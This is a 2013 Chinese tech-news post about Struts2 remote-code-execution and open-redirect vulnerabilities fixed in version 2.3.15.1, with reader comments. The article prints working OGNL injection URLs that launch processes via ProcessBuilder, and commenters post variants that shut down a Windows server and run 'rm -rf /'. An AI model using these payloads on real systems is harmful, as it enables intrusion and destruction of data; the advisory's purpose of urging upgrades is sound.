资讯频道 → 企业架构
阅读更多

39顶
4踩

企业架构

原创新闻 Struts2被曝重要漏洞，波及全系版本

2013-07-17 11:31 by 副主编 wangguo 评论(59) 有77448人浏览
Struts Apache SSH Java 框架

声明：ITeye资讯文章的版权属于ITeye网站所有，严禁任何网站转载本文，否则必将追究法律责任！

Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下：

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀，以实现远程代码执行，如下： 

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀，以实现开放式重定向，如下： 

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息：

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支，需要注意，该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址：http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
顶
4
踩
评论 共 59 条 请登录后发表评论
39 楼 Francis_java 2013-07-19 17:15
这个漏洞也太狠了.....
38 楼 gbwl_cgl 2013-07-19 16:51
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会？

都会
37 楼 venus224 2013-07-19 16:12
只有Struts 2.3.15版本会还是Struts 2.0的都会？
36 楼 wangxiang243 2013-07-19 14:41
sweat89 写道
SunZh 写道
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢



真可以！！我擦

webwork2会有这样的bug吗？
35 楼 sweat89 2013-07-19 14:16
SunZh 写道
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢

34 楼 SunZh 2013-07-19 14:08
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机
33 楼 syd6815892 2013-07-19 11:30
yixiandave 写道
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


吓尿。。。


我用java.io.File可以删除文件，但是你那种命令的方式我测不出来，楼上那位大神可以给个标准的代码不， 还有action的命令我都出问题了，只有redirect和redirectAction才可以，求指点！
32 楼 diggywang 2013-07-19 11:23
表达式引擎现在是很多漏洞的发源地
31 楼 sweat89 2013-07-19 10:53
sblig 写道
struts 1.X   有没有这样的漏洞

struts1 没有ognl
30 楼 aly_boy 2013-07-19 09:50
从副主编到上面详细解释的人，都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞，同时还很详细的说明怎么来利用这个漏洞，卖弄技巧，不顾可能带来的后果。
29 楼 sblig 2013-07-19 09:42
struts 1.X   有没有这样的漏洞
28 楼 mojianpo 2013-07-19 09:14
太厉害了 呵呵
27 楼 klts 2013-07-18 22:38
建议采用struts2.0到struts2.3都尽快升级到最新版本吧，这些漏洞在黑客手里能够去得服务器的最高权限了。。。
26 楼 zsmud 2013-07-18 21:55
刚改完版本，一直不喜欢OGNL
25 楼 t42dw 2013-07-18 20:23
就目前各大网站中招情况....大家还是改密码吧

应该大部分攻击都是去整个数据库的
24 楼 tnndca 2013-07-18 18:44
神之小丑 写道
这个 是影响到2.0的全部版本么？

第一个漏洞在2.3.15就没有测试成功。

第二个漏洞在2.0.11下不会执行。
23 楼 tiyi 2013-07-18 18:29
我估计只有Struts 2.3.15 会中招吧……
其他的2 只有 转发问题
22 楼 JavaSam 2013-07-18 18:07
自娱自乐呗，自己更新版本，自己找出漏洞，自己发表声明！
21 楼 JavaSam 2013-07-18 18:06
更新频率快，就不能保证安全性！看看JDK的更新速度和安全漏洞就知道！
20 楼 jiazimo 2013-07-18 18:01
这漏洞强悍、

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析，漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前，存在着严重的安全漏洞，如果现在一些比较大的网站是用JAVA做的，没有把版本升级，还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞？ JFrog Xray 帮你扫描漏洞，并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬，阿里云也发布了一则告警，提示 Struts 2存在高危漏洞，距离上一次 Struts2漏洞报出也就是半年前，于是我决定研究下漏洞形成的原理，后来的事实证明，收获不小！ ...

  • Struts2重要漏洞

    转载： Struts2被曝重要漏洞，波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司，Struts2的流通性太大了，导致很多人关注它，很多人都搞它，漏洞也发现得快，不过反过来想想，有这么多人关注，一点会很快的茁壮成长的吧。不过再这样一而再，再而三的来漏洞，大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈（上）

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始，乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目，它采用MVC模式，帮助 java 开发者利用J2EE开发Web...

  • 中式汉堡市场调研报告：2023年市场规模约为1890亿元

    汉堡市场调研报告：2023年市场规模约为1890亿元 在快节奏的现代生活中，汉堡以其便捷、快速且标准化的特点，成为了大众日常饮食的重要选择。然而，随着消费者对健康、口味和文化认同感的追求日益提升，传统西式汉堡已难以满足所有消费者的需求。在此背景下，中式汉堡应运而生，以其独特的口味和文化内涵，迅速赢得了市场的青睐。那么，中式汉堡市场究竟蕴含着怎样的增长潜力？又该如何把握这一市场机遇呢？ 市场概况： 近年来，中国西式快餐市场规模持续扩大，2023年已达到约3687.8亿元。其中，汉堡作为西式快餐的代表之一，市场规模约为1890亿元，占据了西式快餐最大的市场份额。值得注意的是，中式汉堡品牌异军突起，凭借其独特的口味和文化内涵，迅速在市场上站稳脚跟。截至2024年11月，全国中式汉堡门店数已近2万家，展现出强劲的增长势头。 技术创新与趋势： 中式汉堡的成功，离不开技术创新和趋势把握。一方面，中式汉堡品牌通过结合中式烹饪方式，推出了更符合中国消费者口味的产品，如加入秘制酱料、使用传统烹饪技艺等，使汉堡更加美味可口。另一方面，中式汉堡品牌还注重数智化转型，通过运用大数据、人工智能等先进技术，实现精

  • 基于MATLAB的导航科学计算库

    * GPS IMU经典15维ESKF松组合 * VRU/AHRS姿态融合算法 * 捷联惯导速度位置姿态解算例子 * UWB IMU紧组合融合 * 每个例子自带数据集

  • Docker以及Docker-Compose的安装与卸载

    Docker以及Docker-Compose的安装与卸载 适合开发下运维人员学习

  • 尚硅谷宋红康C语言精讲.zip

    尚硅谷宋红康C语言精讲.zip

  • matlab实现基于多源信息融合的水果虫灾智能检测系统研究-虫灾检测-智能检测系统-matlab-机器学习

    内容概要：本文提出了一种结合生物信息学、遥感技术和物联网技术的水果虫灾智能检测系统。通过收集和分析生物标志物、遥感影像和传感器数据，利用机器学习算法实现对虫灾的自动识别与预警，提高检测的准确性和时效性，为水果种植业的可持续发展提供支持。 适合人群：农业科学家、农艺师、农业技术开发人员。 使用场景及目标：适用于水果种植园的虫害监控，帮助农民及时发现和控制虫灾，减少农业生产损失。 其他说明：该系统不仅提高了虫灾检测的效率，还在一定程度上解决了传统方法耗时费力、准确性低的问题。系统未来将优化数据处理方法、提取更多有效特征，并尝试应用到其他农业领域。

  • 南平市2005-2024年近20年历史气象数据下载

    南平市2005-2024年近20年的历史气象数据，每3小时更新一次数据，参数包含气温、气压、降水量、云层、能见度、风向、湿度等，几万条数据

  • 数据结构上机实验大作业-线性表选题.zip

    数据结构上机实验大作业-线性表选题.zip

  • 弱电人需要的网络基础知识汇总.docx

    弱电人需要的网络基础知识汇总.docx

Global site tag (gtag.js) - Google Analytics